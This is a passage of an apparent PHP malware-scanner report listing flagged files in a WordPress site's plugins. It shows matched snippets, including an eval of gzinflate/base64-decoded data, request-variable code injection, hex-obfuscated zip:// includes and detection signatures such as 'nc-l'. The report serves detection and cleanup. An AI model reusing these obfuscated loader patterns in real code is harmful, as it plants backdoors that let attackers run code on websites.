<span style="color: #0000BB"></span><span style="color: #DD0000">'ceOTAxD/TBRagvdwb9kNmVIrkw4lk9eKE2/0h/Od1Hu/i9vQTPf69qz3zG/V/n28uTlgj+7qFeWOfsKeQ5XV9WsqD9qNZuSy73Hv7h3e0+O72tVoGvc+b39xZi95jH9gqN6nFnpy3U8quvP18jZSJi1XHtp+Vt1F/5+i3vO4cs5sbciYNkpMIFsXwH1MTOh3Pfa37fjC98qVPIlwcUpaQvWlHrgtbvAEzTC+CJWFVhpALuea/Oz9VFl9Tb6P50U5HQmzrCF3EbktzNOCxESdHEgjMCBPLbJcK2ELHnslR45Yf1HGuj88PGrANsrkfo0QN6CRf8i62Rt8ul0R2FvdxvdQnGv5P7O+grd87gV2q1qUZnZC2Br3jHG36Vn9NJ0Xue/OO7Ltu573u+7tR6MviQJGFbBVzVTvFr61pF0P1Oqcy0S8S0FOq164vpqf+vet0ZofCdVTqFoB6QCdgNoasoS2wK+Jk5nR8IeuuXwN7svmgx1lGe2...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$nbJ</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_281").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/apcore/redux_framework/ReduxCore/inc/class.redux_api.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 27.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:34</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_282" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit nano <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 71</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Nano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient</p><p><i>[<a href="https://github.com/s0md3v/nano" target="_blank" class="text-primary">https://github.com/s0md3v/nano</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">$extension</span><span style="color: #007700">[</span><span style="color: #DD0000">'class'</span><span style="color: #007700">]( </span><span style="color: #0000BB">$ReduxFramework </span><span style="color: #007700">)</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_282").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/apcore/redux_framework/ReduxCore/inc/class.redux_helpers.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 30.86 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:34</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_283" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 445</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">suhosin</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_283").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/apcore/redux_framework/ReduxCore/inc/validation/color/validation_color.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.58 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:34</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_284" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 34</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">lave</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_284").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/apcore/redux_framework/ReduxCore/assets/js/vendor/spectrum/spectrum/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 371.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:04</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:04</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_285" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$N</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@require_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6f\x67\x76\x5f\x36\x39\x37\x38\x37\x34\x30\x38\x33\x38\x62\x32\x62\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x34\x30\x38\x33\x38\x62\x32\x62\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">require_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_285").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/apcore/redux_framework/ReduxCore/assets/js/vendor/spectrum/spectrum/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 413.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:04</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:04</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_286" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$N</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_286").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/popup-maker/includes/pum-sdk/freemius/includes/i18n.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 50.36 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_287" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 187</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nc</span><span style="color: #007700">-</span><span style="color: #0000BB">l</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_287").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/popup-maker/includes/pum-sdk/freemius/includes/class-freemius.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 793.19 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_288" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_288").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/popup-maker/includes/pum-sdk/freemius/includes/sdk/FreemiusBase.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.91 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_289" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_289").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/popup-maker/includes/pum-sdk/freemius/templates/account.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 41.01 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_290" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 96</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nc</span><span style="color: #007700">-</span><span style="color: #0000BB">l</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_290").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/popup-maker/includes/pum-sdk/freemius/templates/account/partials/addon.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 17.00 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_291" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 37</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nc</span><span style="color: #007700">-</span><span style="color: #0000BB">l</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_291").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/popup-maker/includes/modules/admin-bar.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 22.84 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_292" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function exec <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">exec</span><span style="color: #007700">(</span><span style="color: #0000BB">id</span><span style="color: #007700">)) && !(/^\</span><span style="color: #0000BB">d</span><span style="color: #007700">/.</span><span style="color: #0000BB">exec</span><span style="color: #007700">(</span><span style="color: #0000BB">id</span><span style="color: #007700">))) {<br /> </span><span style="color: #0000BB">sanitized_id </span><span style="color: #007700">= </span><span style="color: #DD0000">"#" </span><span style="color: #007700">+ (</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">sanitizeItem</span><span style="color: #007700">(</span><span style="color: #0000BB">id</span><span style="color: #007700">));<br /> if (</span><span style="color: #0000BB">element</span><span style="color: #007700">.</span><span style="color: #0000BB">ownerDocument</span><span style="color: #007700">.</span><span style="color: #0000BB">querySelectorAll</span><span style="color: #007700">(</span><span style="color: #0000BB">sanitized_id</span><span style="color: #007700">).</span><span style="color: #0000BB">length </span><span style="color: #007700">=== </span><span style="color: #0000BB">1</span><span style="color: #007700">) {<br /> return </span><span style="color: #0000BB">sanitized_id</span><span style="color: #007700">;<br /> }<br /> }<br /> return </span><span style="color: #0000BB">null</span><span style="color: #007700">;<br /> };<br /><br /> </span><span style="color: #0000BB">CssSelectorGenerator</span><span style="color: #007700">.</span><span style="color: #0000BB">prototype</span><span style="color: #007700">.</span><span style="color: #0000BB">getClassSelectors </span><span style="color: #007700">= function (</span><span style="color: #0000BB">element</span><span style="color: #007700">) {<br /> var </span><span style="color: #0000BB">c</span><span style="color: #007700">...</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_292").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/popup-maker/includes/functions/utils/utils/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 377.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 08:41:41</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 08:41:41</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_293" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$ECZA</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@include_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6d\x33\x75\x5f\x36\x39\x37\x37\x30\x63\x61\x35\x39\x37\x32\x37\x32\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x37\x30\x63\x61\x35\x39\x37\x32\x37\x32\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">include_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_293").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/popup-maker/includes/functions/utils/utils/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 428.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-26 08:41:41</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-26 08:41:41</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_294" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$ECZA</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_294").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/popup-maker/includes/functions/functions/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.51 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:39</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:39</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_295" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'o5OwFFA/VcEG4bH6WDpTaFSKJMeJbnXCvZvc7zD24obv8yFH6+jAON/gb9jtfxyTDP3vcwx7/U5np93X7Nq+uxXgNTuOtepqCvfe81b3c4+P9m920mHu8lze7+pe99LeQ5CdtA3p5bn8pmvP14TZTJm1WL9p9Zt1F7f+j/vO5oP5vbMiaFEpzZKYtgvqZmcKtV+0++/GF6ZVrewKjxISTIdaVesC2s9CQMOTsHIwq4KNFI10X73Qq/qxseaS7JnHK/AzYOVo4lxAdHcgnYMjVnBAwIjTECyeGHiP1hxJb5EfGmU+ph7rAvTxOgH7KJEJLkivYkHuQudWH/bGVkdwff9bHkpzbOz8rf07Gv01Kb1aJ+s0gQ3jt7xLUX6XmNPOy3vYvOP53tpyT3ebnFDrLaCRxaQ1d1UbJuedaFtDsvanMhUvHTBtbq++bi6/2v3HeGanQfFkbNqgMkgHZPKGIqsN+qPC42ZEPm3r4J8zN3rJGYNpTnV...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$wijVN</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_295").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/popup-maker/includes/functions/functions/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.25 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:39</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:39</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_296" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$I1NrjEU1QR</span><span style="color: #007700">[</span><span style="color: #0000BB">46</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_296").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/popup-maker/classes/Admin/Tools.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.56 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_297" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 471b95ee <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 365</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 471b95ee)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">suhosin</span>
</span>
